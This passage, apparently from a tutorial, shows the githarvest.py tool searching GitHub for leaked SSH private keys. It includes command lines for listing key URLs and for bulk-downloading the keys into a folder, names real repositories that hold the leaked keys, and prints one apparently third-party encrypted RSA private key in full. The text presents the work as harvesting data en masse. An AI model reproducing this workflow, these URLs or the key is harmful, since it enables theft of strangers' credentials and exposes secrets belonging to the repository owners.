[+] Custom regex is: .*PRIVATE\sKEY.*
[+] Searching Github for filename:id_rsa
  [+] Returned 100 total pages
    [+] Pulling results from page 1
      [+] Found the following results
        -----BEGIN RSA PRIVATE KEY-----
      [+] Found the following results
        -----BEGIN RSA PRIVATE KEY-----
^C[!] Keyboard Interrupt. Shutting down

Since regex only matches a single line, you are only seeing the header in the output. If you want to know the URL that you can go to to pull down the full key, use the “-u” flag.

$ ./githarvest.py -v -u -s "filename:id_rsa" -r ".*PRIVATE\sKEY.*"

  _____ _ _     _    _                           _
 / ____(_) |   | |  | |                         | |
| |  __ _| |_  | |__| | __ _ _ ____   _____  ___| |_ ___ _ __
| | |_ | | __| |  __  |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|
| |__| | | |_  | |  | | (_| | |   \ V /  __/\__ \ ||  __/ |
 \_____|_|\__| |_|  |_|\__,_|_|    \_/ \___||___/\__\___|_|

Version 0.6.3
By: @metacortex of @dc801

[+] Custom search is: filename:id_rsa
[+] Custom regex is: .*PRIVATE\sKEY.*
[+] Searching Github for filename:id_rsa
  [+] Returned 100 total pages
    [+] Pulling results from page 1
        https://github.com/lildemon/dotslashbin/raw/8ed2cf3eee88ba270eaec8cc727ccc0b1bf78817/dotfiles/ssh/id_rsa
      [+] Found the following results
        -----BEGIN RSA PRIVATE KEY-----
        https://github.com/phrock/misc/raw/e726c5b52381bc8edc28f6a9d02bc3f3b0bace8b/SSH_KEYS/id_rsa
      [+] Found the following results
        -----BEGIN RSA PRIVATE KEY-----
^C[!] Keyboard Interrupt. Shutting down

And finally, if you are looking to just download all of the results you have found, use the “-d” flag and specify a directory to put them in.

$ ./githarvest.py -v -u -s "filename:id_rsa" -r ".*PRIVATE\sKEY.*" -d id-rsa

  _____ _ _     _    _                           _
 / ____(_) |   | |  | |                         | |
| |  __ _| |_  | |__| | __ _ _ ____   _____  ___| |_ ___ _ __
| | |_ | | __| |  __  |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|
| |__| | | |_  | |  | | (_| | |   \ V /  __/\__ \ ||  __/ |
 \_____|_|\__| |_|  |_|\__,_|_|    \_/ \___||___/\__\___|_|

Version 0.6.3
By: @metacortex of @dc801

[+] Custom search is: filename:id_rsa
[+] Custom regex is: .*PRIVATE\sKEY.*
[+] Searching Github for filename:id_rsa
  [+] Returned 100 total pages
    [+] Pulling results from page 1
    [+] Pulling results from page 2
      [+] Found the following results
        -----BEGIN RSA PRIVATE KEY-----
        [+] Downloading id-rsa/https:--github.com-DaisukeKato-backgyammon-raw-1bd9be1d6fcd6d932e2aa6765bc421e77b6c2595-id_rsa
^C[!] Keyboard Interrupt. Shutting down
$ ls
githarvest.py	id-rsa
$ cd id-rsa/
$ ls
https:--github.com-DaisukeKato-backgyammon-raw-1bd9be1d6fcd6d932e2aa6765bc421e77b6c2595-id_rsa
$ cat https\:--github.com-DaisukeKato-backgyammon-raw-1bd9be1d6fcd6d932e2aa6765bc421e77b6c2595-id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,537EE4B7DD709976

DmyzWTMxxFN4TlS4AnX7VAMmOe9WpgjRAR6v0uCLbrBkRBky8QCWFDpaY3GxQDGx
6SLkGhOp5f8bzOJY3bMVDX7e81xiZzBltzmXFnDjcHP0Zc5NRzBdp72NBDwhkvGR
7/vjUw6Mj/UgTWJJTh/VV/SxTMZhsEQgxfrt2v6rE8H2jpIhhjhMMG1uwB0TRIxA
6+erGXRdD6CXPOcYfqZZCG9BiHHTfb6PbM2GNob56cZjpjoOR6fmw1p8CQ3GvC6/
eZQwsF+d/Hn1ary+ADjzh6s95FE4Ef7z45XdPxM0srGmRK5ACVGYsDPEzJ3kuzbm
Ko1/htcbLOAarKapQ4Ki7wft6HYqsUKcoeGVPpimZHVMWn5YIUHqO7gcLwog4Gop
kitEzcB8cQnpnymePbjtVefU9TRgiXR93V62LlYCxe0hR0uPX4ngZX0M2XqqcElu
5I3+y+9tv1wtTSjlLnFCICokRbARYyb/464bgUU0A6SoSO/EaGcHjWVGqGqxa+Vn
suw602cPV5BQoNY+2bmH8mud4NoUdEbN1HvB84Llk8M2Ou1rLWCz0u2QPxOeazGF
oijimLCPn2jr47Vl4KoJdmDJyCXX85cC7VN67s0R5h+Jl3/oAUMk88Vq8WXyF/t0
vOtLcwWE29RQwCpt2U5ZcR0T5fHFCG1ybErr7tBIGGCXdU1JNEMzbenfJgEOQDQb
ZSkGOdBEoZFivOVFtj9pG6Z+F5+L9Dm6/eUZ+8YkKxfQ67Y2wPv8xCsFG46wOHpq
tUAVztxFW2pAYRLn3HkSmsANCBZxdq4Besf1Wdnpk5ipDXFsbpyWkp+rixNTWt+u
MjX91GX9p58zKh6FuJ4C+Ih7YyeFmiEBpMCYNB9Co6rtBieANX3lieSGYJ69vivv
QumnIbDo6keblbRlAT82dERQls0ul5T10yOuZeSIwy2QQFvg8osOwifHRd0p4Qzs
tTxjc/gEdkJfjfC4zOBPYk93l3l3CkHz9JDlwM39Cdg3MOoVqNIIVJdcnUvd8FPV
XU9O7JxehUKaT2V5F77sdruciEEcTGjOW3tBm6S+RJaPYnkoAEd7NVn80GAvO2Y4
el12KBZWuTpS55VDMM5rZjahluDmodvQWmKia5dw6VA5Bvho9xXkp8zp3PBCkw/q
NysRiPGI/eb8zumdH9B+QdgAdThAAgsB9FVt5WZvvokSydbFbYgfnNZiQ36iDeu5
paKWVMpfmudhY6GeEk6dHeg5vWghhFVXsQEWYZeILZGzKIAMhyCwsEDUCKtY7/ZY
Eq6mWEphqp34Qx/7l+LJgwRfEYDlFZ1XepJKAy2OAugyxLWgqOa/EBeFk9QWlLLZ
3lG4t/7hpz1eRi3Tx9v21NpfDGOOgFC+lOJBCkkyLvLTu4G2Y8Ha/ytHenaegieG
/kkz3gizTVaHZWhbayix8N3HfbZlT55tNXJdWs1So65vuuz9GlGYflbLKNY48dVT
eGCbjcX6pn8gZmd4wQSdL9F/f7bO7H8JEE7ikffM5SSjTN/r8mGRd88Fdgqj7dZC
8V2veL5dyoF/z8lFPXfO4Fogqzfum7nlW2YnK0RjdzqUbHi/SwrNDg==
-----END RSA PRIVATE KEY-----

Now, there is a downside to this. When searching GitHub (via the site or the api), they will only return 1000 results. They say that they do this to keep load down on their servers and this severely limits anyone who is looking to harvest data en mass from GitHub.